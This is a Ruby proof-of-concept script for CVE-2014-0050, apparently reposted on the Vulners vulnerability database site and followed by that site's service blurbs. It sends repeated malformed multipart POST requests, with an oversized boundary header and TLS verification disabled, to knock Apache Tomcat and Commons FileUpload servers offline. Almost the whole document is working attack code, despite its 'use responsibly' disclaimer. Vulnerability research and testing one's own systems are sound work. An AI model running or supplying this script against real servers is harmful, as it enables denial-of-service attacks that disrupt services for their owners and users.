#################################################################################
# CVE-2014-0050 Apache Commons FileUpload and Apache Tomcat Denial-of-Service #
# #
# Author: Oren Hafif, Trustwave SpiderLabs Research #
# This is a Proof of Concept code that was created for the sole purpose #
# of assisting system administrators in evaluating whether their applications #
# are vulnerable to this issue or not #
# #
# Please use responsibly. #
#################################################################################
require 'net/http'
require 'net/https'
require 'optparse'
require 'openssl'
options = {}
opt_parser = OptionParser.new do |opt|
opt.banner = "Usage: ./CVE-2014-0050.rb [OPTIONS]"
opt.separator ""
opt.separator "Options"
opt.on("-u","--url URL","The url of the Servlet/JSP to test for Denial of Service") do |url|
options[:url] = url
end
opt.on("-n","--number_of_requests NUMBER_OF_REQUSETS","The number of requests to send to the server. The default value is 10") do |number_of_requests|
options[:number_of_requests] = number_of_requests
end
opt.on("-h","--help","help") do
puts ""
puts "#################################################################################"
puts "# CVE-2014-0050 Apache Commons FileUpload and Apache Tomcat Denial-of-Service #"
puts "# #"
puts "# Author: Oren Hafif, Trustwave SpiderLabs Research #"
puts "# This is a Proof of Concept code that was created for the sole purpose #"
puts "# of assisting system administrators in evaluating whether or not #"
puts "# their applications are vulnerable to this issue. #"
puts "# #"
puts "# Please use responsibly. #"
puts "#################################################################################"
puts ""
puts opt_parser
puts ""
exit
end
end
opt_parser.parse!
uri = ""
begin
uri = URI.parse(options[:url])
rescue Exception => e
puts ""
puts "ERROR: Invalid URL was entered #{options[:url]}"
puts ""
puts opt_parser
exit
end
number_of_requests = 10;
if(options[:number_of_requests] != nil)
begin
number_of_requests = Integer( options[:number_of_requests] )
throw Exception.new if number_of_requests <= 0
rescue Exception => e
puts e
puts ""
puts "ERROR: Invalid NUMBER_OF_REQUSETS was entered #{options[:number_of_requests]}"
puts ""
puts opt_parser
exit
end
end
#uri = URI.parse(uri)
puts ""
puts "WARNING: Usage of this tool for attack purposes is forbidden - press Ctrl-C now to abort..."
i=10
i.times { print "#{i.to_s}...";sleep 1; i-=1;}
puts ""
number_of_requests.times do
begin
puts "Request Launched"
https = Net::HTTP.new(uri.host,uri.port)
https.use_ssl = uri.scheme=="https"
https.verify_mode = OpenSSL::SSL::VERIFY_NONE
req = Net::HTTP::Post.new(uri.path)
req.add_field("Content-Type","multipart/form-data; boundary=#{"a"*4092}")
req.add_field("lf-None-Match","59e532f501ac13174dd9c488f897ee75")
req.body = "b"*4097
https.read_timeout = 1
res = https.request(req)
rescue Timeout::Error=>e
puts "Timeout - continuing DoS..."
rescue Exception=>e
puts e.inspect
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation